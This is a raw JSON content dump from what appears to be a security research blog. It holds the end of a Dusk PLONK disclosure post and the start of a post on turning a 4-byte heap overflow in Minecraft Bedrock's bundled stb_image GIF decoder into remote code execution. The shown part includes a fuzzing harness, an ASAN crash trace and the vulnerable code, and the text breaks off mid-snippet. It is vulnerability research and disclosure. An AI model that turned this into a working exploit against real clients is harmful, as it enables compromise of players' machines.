concrete checklist to verify against.",{"type":23,"tag":446,"props":146699,"children":146700},{"id":60820},[146701],{"type":28,"value":146702},"Disclosure timeline",{"type":23,"tag":55740,"props":146704,"children":146705},{},[146706,146722],{"type":23,"tag":122716,"props":146707,"children":146708},{},[146709],{"type":23,"tag":122720,"props":146710,"children":146711},{},[146712,146717],{"type":23,"tag":122724,"props":146713,"children":146714},{},[146715],{"type":28,"value":146716},"Date",{"type":23,"tag":122724,"props":146718,"children":146719},{},[146720],{"type":28,"value":146721},"Event",{"type":23,"tag":122744,"props":146723,"children":146724},{},[146725,146738,146751,146763,146789,146809],{"type":23,"tag":122720,"props":146726,"children":146727},{},[146728,146733],{"type":23,"tag":122751,"props":146729,"children":146730},{},[146731],{"type":28,"value":146732},"2026-02-13",{"type":23,"tag":122751,"props":146734,"children":146735},{},[146736],{"type":28,"value":146737},"Dusk vulnerability reported",{"type":23,"tag":122720,"props":146739,"children":146740},{},[146741,146746],{"type":23,"tag":122751,"props":146742,"children":146743},{},[146744],{"type":28,"value":146745},"2026-02-14",{"type":23,"tag":122751,"props":146747,"children":146748},{},[146749],{"type":28,"value":146750},"Dusk acknowledged",{"type":23,"tag":122720,"props":146752,"children":146753},{},[146754,146758],{"type":23,"tag":122751,"props":146755,"children":146756},{},[146757],{"type":28,"value":146745},{"type":23,"tag":122751,"props":146759,"children":146760},{},[146761],{"type":28,"value":146762},"Dusk fix committed",{"type":23,"tag":122720,"props":146764,"children":146765},{},[146766,146771],{"type":23,"tag":122751,"props":146767,"children":146768},{},[146769],{"type":28,"value":146770},"2026-02-27",{"type":23,"tag":122751,"props":146772,"children":146773},{},[146774,146776,146787],{"type":28,"value":146775},"Public ",{"type":23,"tag":458,"props":146777,"children":146780},{"href":146778,"rel":146779},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[462],[146781],{"type":23,"tag":37,"props":146782,"children":146784},{"className":146783},[],[146785],{"type":28,"value":146786},"dusk-rusk-1.6.0",{"type":28,"value":146788}," release published",{"type":23,"tag":122720,"props":146790,"children":146791},{},[146792,146797],{"type":23,"tag":122751,"props":146793,"children":146794},{},[146795],{"type":28,"value":146796},"2026-03-16",{"type":23,"tag":122751,"props":146798,"children":146799},{},[146800,146802,146808],{"type":28,"value":146801},"Jellyfish fix PR opened (",{"type":23,"tag":458,"props":146803,"children":146805},{"href":146645,"rel":146804},[462],[146806],{"type":28,"value":146807},"#867",{"type":28,"value":2678},{"type":23,"tag":122720,"props":146810,"children":146811},{},[146812,146817],{"type":23,"tag":122751,"props":146813,"children":146814},{},[146815],{"type":28,"value":146816},"2026-03-18",{"type":23,"tag":122751,"props":146818,"children":146819},{},[146820,146822,146827,146829],{"type":28,"value":146821},"Jellyfish fix merged in ",{"type":23,"tag":458,"props":146823,"children":146825},{"href":146645,"rel":146824},[462],[146826],{"type":28,"value":146807},{"type":28,"value":146828}," and tagged as ",{"type":23,"tag":458,"props":146830,"children":146832},{"href":146654,"rel":146831},[462],[146833],{"type":23,"tag":37,"props":146834,"children":146836},{"className":146835},[],[146837],{"type":28,"value":146662},{"type":23,"tag":446,"props":146839,"children":146841},{"id":146840},"acknowledgements",[146842],{"type":28,"value":146843},"Acknowledgements",{"type":23,"tag":24,"props":146845,"children":146846},{},[146847],{"type":28,"value":146848},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":54,"depth":54,"links":146850},[146851,146858,146859,146860,146861,146862,146863,146864,146865,146866,146867,146868],{"id":141668,"depth":54,"text":141671,"children":146852},[146853,146854,146855,146856,146857],{"id":141693,"depth":76,"text":141696},{"id":142496,"depth":76,"text":142499},{"id":143694,"depth":76,"text":143697},{"id":143724,"depth":76,"text":143727},{"id":144005,"depth":76,"text":144008},{"id":144738,"depth":54,"text":144741},{"id":144876,"depth":54,"text":144879},{"id":616,"depth":54,"text":145507},{"id":146106,"depth":54,"text":146109},{"id":146243,"depth":54,"text":146246},{"id":146358,"depth":54,"text":146361},{"id":146451,"depth":54,"text":146454},{"id":146518,"depth":54,"text":146521},{"id":146670,"depth":54,"text":146673},{"id":60820,"depth":54,"text":146702},{"id":146840,"depth":54,"text":146843},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":146873,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":146874,"description":146875,"date":146876,"author":123375,"image":146877,"isFeatured":18,"onBlogPage":18,"tags":146879,"body":146882,"_type":2864,"_id":156262,"_source":2866,"_file":156263,"_stem":156264,"_extension":2869},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":146878,"width":96986,"height":13},"/posts/minecraft-heap-overflow-to-rce/title.png",[146880,146881],"minecraft","rce",{"type":20,"children":146883,"toc":156239},[146884,146889,146894,146899,146905,146910,146929,146934,146940,146945,146950,146956,146961,146966,146971,146977,146982,146987,146993,147013,147025,147032,147054,147068,147075,147081,147091,147111,147116,147122,147135,147480,147485,147493,147499,147518,147826,147854,147897,147909,147917,147922,148391,148410,148431,148773,148797,149069,149093,149120,149329,149348,149356,149375,149381,149443,149446,149468,149472,149477,149482,149488,149493,149507,149513,149527,149533,149546,149551,149559,149564,149570,149591,149599,149612,149615,149620,149634,149639,149644,149650,149655,149678,149683,149689,149694,149706,149718,149832,149852,149857,149862,149868,149873,149893,150508,150521,151595,151600,151608,151613,151619,151624,151632,151645,151650,151655,151662,151675,151680,151687,151742,151762,151769,151788,151795,151798,151803,151808,151814,151826,151839,151847,151918,151929,151963,151971,151976,151981,151987,151999,152018,152030,152035,152043,152062,152070,152089,152097,152123,152131,152136,152144,152149,152157,152160,152165,152170,152176,152189,152207,152245,152275,152283,152288,152294,152299,152304,152310,152322,152491,152503,152511,152516,152523,152528,152589,152636,152648,152653,152679,152753,152791,152796,152804,152825,152830,152856,152890,152943,152990,152996,153015,153047,153055,153158,153229,153235,153261,153268,153273,153280,153285,153526,153552,153557,153605,153610,153616,153648,153660,153692,153700,153739,153747,153752,153760,153765,153773,153785,153793,153805,153813,153825,153845,153851,153871,153888,153896,153908,153916,153935,153940,153948,153953,153961,153987,153998,154005,154010,154018,154023,154031,154036,154044,154049,154057,154062,154070,154075,154083,154124,154131,154136,154144,154149,154157,154162,154170,154175,154180,154188,154193,154201,154227,154235,154261,154269,154274,154282,154287,154295,154303,154308,154316,154321,154329,154332,154343,154377,154395,154403,154423,154429,154448,154506,154526,154534,154537,154576,154636,154641,154647,154660,154668,154720,154759,154767,154800,154803,154823,154831,154837,154842,154850,154890,154931,154951,154956,154961,154979,154985,154990,155009,155070,155078,155104,155110,155130,155135,155140,155147,155212,155217,155224,155245,155250,155262,155268,155301,155308,155313,155341,155348,155404,155416,155423,155484,155503,155509,155543,155564,155591,155599,155652,155722,155728,155748,155791,155796,156194,156200,156205,156216,156220,156225,156230,156235],{"type":23,"tag":35367,"props":146885,"children":146887},{"id":146886},"pwning-minecraft-4-byte-heap-overflow-to-rce",[146888],{"type":28,"value":146874},{"type":23,"tag":24,"props":146890,"children":146891},{},[146892],{"type":28,"value":146893},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":146895,"children":146896},{},[146897],{"type":28,"value":146898},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":446,"props":146900,"children":146902},{"id":146901},"the-target",[146903],{"type":28,"value":146904},"The Target",{"type":23,"tag":24,"props":146906,"children":146907},{},[146908],{"type":28,"value":146909},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":146911,"children":146912},{},[146913,146915,146920,146922,146927],{"type":28,"value":146914},"There are two main editions: ",{"type":23,"tag":510,"props":146916,"children":146917},{},[146918],{"type":28,"value":146919},"Minecraft Java Edition",{"type":28,"value":146921},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":510,"props":146923,"children":146924},{},[146925],{"type":28,"value":146926},"Minecraft Bedrock Edition",{"type":28,"value":146928},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":146930,"children":146931},{},[146932],{"type":28,"value":146933},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":546,"props":146935,"children":146937},{"id":146936},"choice-of-context",[146938],{"type":28,"value":146939},"Choice of Context",{"type":23,"tag":24,"props":146941,"children":146942},{},[146943],{"type":28,"value":146944},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":146946,"children":146947},{},[146948],{"type":28,"value":146949},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":546,"props":146951,"children":146953},{"id":146952},"resource-packs",[146954],{"type":28,"value":146955},"Resource Packs",{"type":23,"tag":24,"props":146957,"children":146958},{},[146959],{"type":28,"value":146960},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":146962,"children":146963},{},[146964],{"type":28,"value":146965},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":146967,"children":146968},{},[146969],{"type":28,"value":146970},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":446,"props":146972,"children":146974},{"id":146973},"finding-a-memory-corruption-bug",[146975],{"type":28,"value":146976},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":146978,"children":146979},{},[146980],{"type":28,"value":146981},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":146983,"children":146984},{},[146985],{"type":28,"value":146986},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":546,"props":146988,"children":146990},{"id":146989},"locating-image-parsing-code",[146991],{"type":28,"value":146992},"Locating Image Parsing Code",{"type":23,"tag":24,"props":146994,"children":146995},{},[146996,146998,147004,147005,147011],{"type":28,"value":146997},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":37,"props":146999,"children":147001},{"className":147000},[],[147002],{"type":28,"value":147003},"PNG",{"type":28,"value":13129},{"type":23,"tag":37,"props":147006,"children":147008},{"className":147007},[],[147009],{"type":28,"value":147010},"GIF",{"type":28,"value":147012}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":147014,"children":147015},{},[147016,147018,147023],{"type":28,"value":147017},"Searching for the string ",{"type":23,"tag":37,"props":147019,"children":147021},{"className":147020},[],[147022],{"type":28,"value":147010},{"type":28,"value":147024}," returned some interesting results:",{"type":23,"tag":24,"props":147026,"children":147027},{},[147028],{"type":23,"tag":3918,"props":147029,"children":147031},{"alt":50573,"src":147030},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":147033,"children":147034},{},[147035,147037,147044,147046,147053],{"type":28,"value":147036},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":458,"props":147038,"children":147041},{"href":147039,"rel":147040},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[462],[147042],{"type":28,"value":147043},"stb_image.h",{"type":28,"value":147045},". For an example: usage of ",{"type":23,"tag":458,"props":147047,"children":147050},{"href":147048,"rel":147049},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[462],[147051],{"type":28,"value":147052},"bad Image Descriptor",{"type":28,"value":706},{"type":23,"tag":24,"props":147055,"children":147056},{},[147057,147059,147066],{"type":28,"value":147058},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":458,"props":147060,"children":147063},{"href":147061,"rel":147062},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[462],[147064],{"type":28,"value":147065},"stbi__gif_load_next",{"type":28,"value":147067},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":147069,"children":147070},{},[147071],{"type":23,"tag":3918,"props":147072,"children":147074},{"alt":50573,"src":147073},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":546,"props":147076,"children":147078},{"id":147077},"stb-image-library",[147079],{"type":28,"value":147080},"STB Image Library",{"type":23,"tag":24,"props":147082,"children":147083},{},[147084,147089],{"type":23,"tag":37,"props":147085,"children":147087},{"className":147086},[],[147088],{"type":28,"value":147043},{"type":28,"value":147090}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":147092,"children":147093},{},[147094,147096,147101,147103,147110],{"type":28,"value":147095},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":37,"props":147097,"children":147099},{"className":147098},[],[147100],{"type":28,"value":147043},{"type":28,"value":147102}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":458,"props":147104,"children":147107},{"href":147105,"rel":147106},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[462],[147108],{"type":28,"value":147109},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":706},{"type":23,"tag":24,"props":147112,"children":147113},{},[147114],{"type":28,"value":147115},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":18881,"props":147117,"children":147119},{"id":147118},"fuzzing",[147120],{"type":28,"value":147121},"Fuzzing",{"type":23,"tag":24,"props":147123,"children":147124},{},[147125,147127,147134],{"type":28,"value":147126},"The fuzzer consisted of a very simple ",{"type":23,"tag":458,"props":147128,"children":147131},{"href":147129,"rel":147130},"https://github.com/AFLplusplus/AFLplusplus",[462],[147132],{"type":28,"value":147133},"AFL++",{"type":28,"value":26740},{"type":23,"tag":31,"props":147136,"children":147138},{"code":147137,"language":3146,"meta":7,"className":16503,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[147139],{"type":23,"tag":37,"props":147140,"children":147141},{"__ignoreMap":7},[147142,147155,147167,147174,147220,147232,147253,147260,147284,147299,147306,147313,147385,147409,147424,147431,147438,147451,147458,147473],{"type":23,"tag":41,"props":147143,"children":147144},{"class":43,"line":44},[147145,147150],{"type":23,"tag":41,"props":147146,"children":147147},{"style":58},[147148],{"type":28,"value":147149},"#define",{"type":23,"tag":41,"props":147151,"children":147152},{"style":114},[147153],{"type":28,"value":147154}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":41,"props":147156,"children":147157},{"class":43,"line":54},[147158,147162],{"type":23,"tag":41,"props":147159,"children":147160},{"style":58},[147161],{"type":28,"value":732},{"type":23,"tag":41,"props":147163,"children":147164},{"style":735},[147165],{"type":28,"value":147166}," \"./stb/stb_image.h\"\n",{"type":23,"tag":41,"props":147168,"children":147169},{"class":43,"line":76},[147170],{"type":23,"tag":41,"props":147171,"children":147172},{"emptyLinePlaceholder":18},[147173],{"type":28,"value":82},{"type":23,"tag":41,"props":147175,"children":147176},{"class":43,"line":85},[147177,147181,147185,147189,147193,147198,147202,147207,147211,147216],{"type":23,"tag":41,"props":147178,"children":147179},{"style":64},[147180],{"type":28,"value":1124},{"type":23,"tag":41,"props":147182,"children":147183},{"style":114},[147184],{"type":28,"value":1129},{"type":23,"tag":41,"props":147186,"children":147187},{"style":70},[147188],{"type":28,"value":1737},{"type":23,"tag":41,"props":147190,"children":147191},{"style":64},[147192],{"type":28,"value":1124},{"type":23,"tag":41,"props":147194,"children":147195},{"style":858},[147196],{"type":28,"value":147197}," argc",{"type":23,"tag":41,"props":147199,"children":147200},{"style":70},[147201],{"type":28,"value":970},{"type":23,"tag":41,"props":147203,"children":147204},{"style":64},[147205],{"type":28,"value":147206},"char",{"type":23,"tag":41,"props":147208,"children":147209},{"style":170},[147210],{"type":28,"value":173},{"type":23,"tag":41,"props":147212,"children":147213},{"style":858},[147214],{"type":28,"value":147215},"argv",{"type":23,"tag":41,"props":147217,"children":147218},{"style":70},[147219],{"type":28,"value":152},{"type":23,"tag":41,"props":147221,"children":147222},{"class":43,"line":105},[147223,147227],{"type":23,"tag":41,"props":147224,"children":147225},{"style":64},[147226],{"type":28,"value":19064},{"type":23,"tag":41,"props":147228,"children":147229},{"style":70},[147230],{"type":28,"value":147231}," x, y, comp;\n",{"type":23,"tag":41,"props":147233,"children":147234},{"class":43,"line":155},[147235,147240,147244,147248],{"type":23,"tag":41,"props":147236,"children":147237},{"style":64},[147238],{"type":28,"value":147239},"    unsigned",{"type":23,"tag":41,"props":147241,"children":147242},{"style":64},[147243],{"type":28,"value":59045},{"type":23,"tag":41,"props":147245,"children":147246},{"style":170},[147247],{"type":28,"value":9814},{"type":23,"tag":41,"props":147249,"children":147250},{"style":70},[147251],{"type":28,"value":147252},"ret;\n",{"type":23,"tag":41,"props":147254,"children":147255},{"class":43,"line":186},[147256],{"type":23,"tag":41,"props":147257,"children":147258},{"emptyLinePlaceholder":18},[147259],{"type":28,"value":82},{"type":23,"tag":41,"props":147261,"children":147262},{"class":43,"line":195},[147263,147267,147272,147276,147280],{"type":23,"tag":41,"props":147264,"children":147265},{"style":58},[147266],{"type":28,"value":2440},{"type":23,"tag":41,"props":147268,"children":147269},{"style":70},[147270],{"type":28,"value":147271}," (argc ",{"type":23,"tag":41,"props":147273,"children":147274},{"style":170},[147275],{"type":28,"value":15679},{"type":23,"tag":41,"props":147277,"children":147278},{"style":164},[147279],{"type":28,"value":178},{"type":23,"tag":41,"props":147281,"children":147282},{"style":70},[147283],{"type":28,"value":152},{"type":23,"tag":41,"props":147285,"children":147286},{"class":43,"line":905},[147287,147291,147295],{"type":23,"tag":41,"props":147288,"children":147289},{"style":58},[147290],{"type":28,"value":161},{"type":23,"tag":41,"props":147292,"children":147293},{"style":164},[147294],{"type":28,"value":167},{"type":23,"tag":41,"props":147296,"children":147297},{"style":70},[147298],{"type":28,"value":183},{"type":23,"tag":41,"props":147300,"children":147301},{"class":43,"line":922},[147302],{"type":23,"tag":41,"props":147303,"children":147304},{"style":70},[147305],{"type":28,"value":192},{"type":23,"tag":41,"props":147307,"children":147308},{"class":43,"line":930},[147309],{"type":23,"tag":41,"props":147310,"children":147311},{"emptyLinePlaceholder":18},[147312],{"type":28,"value":82},{"type":23,"tag":41,"props":147314,"children":147315},{"class":43,"line":939},[147316,147321,147325,147330,147334,147338,147342,147346,147350,147354,147359,147363,147368,147372,147377,147381],{"type":23,"tag":41,"props":147317,"children":147318},{"style":70},[147319],{"type":28,"value":147320},"    ret ",{"type":23,"tag":41,"props":147322,"children":147323},{"style":170},[147324],{"type":28,"value":2381},{"type":23,"tag":41,"props":147326,"children":147327},{"style":114},[147328],{"type":28,"value":147329}," stbi_load",{"type":23,"tag":41,"props":147331,"children":147332},{"style":70},[147333],{"type":28,"value":1737},{"type":23,"tag":41,"props":147335,"children":147336},{"style":858},[147337],{"type":28,"value":147215},{"type":23,"tag":41,"props":147339,"children":147340},{"style":70},[147341],{"type":28,"value":312},{"type":23,"tag":41,"props":147343,"children":147344},{"style":164},[147345],{"type":28,"value":317},{"type":23,"tag":41,"props":147347,"children":147348},{"style":70},[147349],{"type":28,"value":23047},{"type":23,"tag":41,"props":147351,"children":147352},{"style":170},[147353],{"type":28,"value":855},{"type":23,"tag":41,"props":147355,"children":147356},{"style":70},[147357],{"type":28,"value":147358},"x, ",{"type":23,"tag":41,"props":147360,"children":147361},{"style":170},[147362],{"type":28,"value":855},{"type":23,"tag":41,"props":147364,"children":147365},{"style":70},[147366],{"type":28,"value":147367},"y, ",{"type":23,"tag":41,"props":147369,"children":147370},{"style":170},[147371],{"type":28,"value":855},{"type":23,"tag":41,"props":147373,"children":147374},{"style":70},[147375],{"type":28,"value":147376},"comp, ",{"type":23,"tag":41,"props":147378,"children":147379},{"style":164},[147380],{"type":28,"value":4024},{"type":23,"tag":41,"props":147382,"children":147383},{"style":70},[147384],{"type":28,"value":3825},{"type":23,"tag":41,"props":147386,"children":147387},{"class":43,"line":947},[147388,147392,147397,147401,147405],{"type":23,"tag":41,"props":147389,"children":147390},{"style":58},[147391],{"type":28,"value":2440},{"type":23,"tag":41,"props":147393,"children":147394},{"style":70},[147395],{"type":28,"value":147396}," (ret ",{"type":23,"tag":41,"props":147398,"children":147399},{"style":170},[147400],{"type":28,"value":387},{"type":23,"tag":41,"props":147402,"children":147403},{"style":64},[147404],{"type":28,"value":127488},{"type":23,"tag":41,"props":147406,"children":147407},{"style":70},[147408],{"type":28,"value":152},{"type":23,"tag":41,"props":147410,"children":147411},{"class":43,"line":985},[147412,147416,147420],{"type":23,"tag":41,"props":147413,"children":147414},{"style":58},[147415],{"type":28,"value":161},{"type":23,"tag":41,"props":147417,"children":147418},{"style":164},[147419],{"type":28,"value":167},{"type":23,"tag":41,"props":147421,"children":147422},{"style":70},[147423],{"type":28,"value":183},{"type":23,"tag":41,"props":147425,"children":147426},{"class":43,"line":1058},[147427],{"type":23,"tag":41,"props":147428,"children":147429},{"style":70},[147430],{"type":28,"value":192},{"type":23,"tag":41,"props":147432,"children":147433},{"class":43,"line":1084},[147434],{"type":23,"tag":41,"props":147435,"children":147436},{"style":70},[147437],{"type":28,"value":1589},{"type":23,"tag":41,"props":147439,"children":147440},{"class":43,"line":1102},[147441,147446],{"type":23,"tag":41,"props":147442,"children":147443},{"style":114},[147444],{"type":28,"value":147445},"    stbi_image_free",{"type":23,"tag":41,"props":147447,"children":147448},{"style":70},[147449],{"type":28,"value":147450},"(ret);\n",{"type":23,"tag":41,"props":147452,"children":147453},{"class":43,"line":1110},[147454],{"type":23,"tag":41,"props":147455,"children":147456},{"emptyLinePlaceholder":18},[147457],{"type":28,"value":82},{"type":23,"tag":41,"props":147459,"children":147460},{"class":43,"line":1118},[147461,147465,147469],{"type":23,"tag":41,"props":147462,"children":147463},{"style":58},[147464],{"type":28,"value":1090},{"type":23,"tag":41,"props":147466,"children":147467},{"style":164},[147468],{"type":28,"value":392},{"type":23,"tag":41,"props":147470,"children":147471},{"style":70},[147472],{"type":28,"value":183},{"type":23,"tag":41,"props":147474,"children":147475},{"class":43,"line":1137},[147476],{"type":23,"tag":41,"props":147477,"children":147478},{"style":70},[147479],{"type":28,"value":201},{"type":23,"tag":24,"props":147481,"children":147482},{},[147483],{"type":28,"value":147484},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":31,"props":147486,"children":147488},{"code":147487},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[147489],{"type":23,"tag":37,"props":147490,"children":147491},{"__ignoreMap":7},[147492],{"type":28,"value":147487},{"type":23,"tag":18881,"props":147494,"children":147496},{"id":147495},"investigating-the-finding",[147497],{"type":28,"value":147498},"Investigating the Finding",{"type":23,"tag":24,"props":147500,"children":147501},{},[147502,147504,147510,147511,147516],{"type":28,"value":147503},"The ASAN output shows that at line ",{"type":23,"tag":37,"props":147505,"children":147507},{"className":147506},[],[147508],{"type":28,"value":147509},"6233",{"type":28,"value":143010},{"type":23,"tag":37,"props":147512,"children":147514},{"className":147513},[],[147515],{"type":28,"value":147043},{"type":28,"value":147517}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":31,"props":147519,"children":147521},{"code":147520,"language":3146,"meta":7,"className":16503,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[147522],{"type":23,"tag":37,"props":147523,"children":147524},{"__ignoreMap":7},[147525,147567,147574,147600,147613,147620,147628,147635,147689,147696,147742,147775],{"type":23,"tag":41,"props":147526,"children":147527},{"class":43,"line":44},[147528,147532,147536,147541,147546,147550,147554,147559,147563],{"type":23,"tag":41,"props":147529,"children":147530},{"style":64},[147531],{"type":28,"value":51039},{"type":23,"tag":41,"props":147533,"children":147534},{"style":64},[147535],{"type":28,"value":51044},{"type":23,"tag":41,"props":147537,"children":147538},{"style":114},[147539],{"type":28,"value":147540}," stbi__out_gif_code",{"type":23,"tag":41,"props":147542,"children":147543},{"style":70},[147544],{"type":28,"value":147545},"(stbi__gif ",{"type":23,"tag":41,"props":147547,"children":147548},{"style":170},[147549],{"type":28,"value":377},{"type":23,"tag":41,"props":147551,"children":147552},{"style":858},[147553],{"type":28,"value":109016},{"type":23,"tag":41,"props":147555,"children":147556},{"style":70},[147557],{"type":28,"value":147558},", stbi__uint16 ",{"type":23,"tag":41,"props":147560,"children":147561},{"style":858},[147562],{"type":28,"value":37},{"type":23,"tag":41,"props":147564,"children":147565},{"style":70},[147566],{"type":28,"value":1969},{"type":23,"tag":41,"props":147568,"children":147569},{"class":43,"line":54},[147570],{"type":23,"tag":41,"props":147571,"children":147572},{"style":70},[147573],{"type":28,"value":1559},{"type":23,"tag":41,"props":147575,"children":147576},{"class":43,"line":76},[147577,147582,147586,147591,147595],{"type":23,"tag":41,"props":147578,"children":147579},{"style":70},[147580],{"type":28,"value":147581},"   stbi_uc ",{"type":23,"tag":41,"props":147583,"children":147584},{"style":170},[147585],{"type":28,"value":377},{"type":23,"tag":41,"props":147587,"children":147588},{"style":70},[147589],{"type":28,"value":147590},"p, ",{"type":23,"tag":41,"props":147592,"children":147593},{"style":170},[147594],{"type":28,"value":377},{"type":23,"tag":41,"props":147596,"children":147597},{"style":70},[147598],{"type":28,"value":147599},"c;\n",{"type":23,"tag":41,"props":147601,"children":147602},{"class":43,"line":85},[147603,147608],{"type":23,"tag":41,"props":147604,"children":147605},{"style":64},[147606],{"type":28,"value":147607},"   int",{"type":23,"tag":41,"props":147609,"children":147610},{"style":70},[147611],{"type":28,"value":147612}," idx; \n",{"type":23,"tag":41,"props":147614,"children":147615},{"class":43,"line":105},[147616],{"type":23,"tag":41,"props":147617,"children":147618},{"emptyLinePlaceholder":18},[147619],{"type":28,"value":82},{"type":23,"tag":41,"props":147621,"children":147622},{"class":43,"line":155},[147623],{"type":23,"tag":41,"props":147624,"children":147625},{"style":70},[147626],{"type":28,"value":147627},"   [...]\n",{"type":23,"tag":41,"props":147629,"children":147630},{"class":43,"line":186},[147631],{"type":23,"tag":41,"props":147632,"children":147633},{"emptyLinePlaceholder":18},[147634],{"type":28,"value":82},{"type":23,"tag":41,"props":147636,"children":147637},{"class":43,"line":195},[147638,147642,147646,147650,147654,147659,147663,147668,147672,147677,147681,147685],{"type":23,"tag":41,"props":147639,"children":147640},{"style":58},[147641],{"type":28,"value":52639},{"type":23,"tag":41,"props":147643,"children":147644},{"style":70},[147645],{"type":28,"value":142},{"type":23,"tag":41,"props":147647,"children":147648},{"style":858},[147649],{"type":28,"value":109016},{"type":23,"tag":41,"props":147651,"children":147652},{"style":70},[147653],{"type":28,"value":2453},{"type":23,"tag":41,"props":147655,"children":147656},{"style":858},[147657],{"type":28,"value":147658},"cur_y",{"type":23,"tag":41,"props":147660,"children":147661},{"style":170},[147662],{"type":28,"value":8301},{"type":23,"tag":41,"props":147664,"children":147665},{"style":858},[147666],{"type":28,"value":147667}," 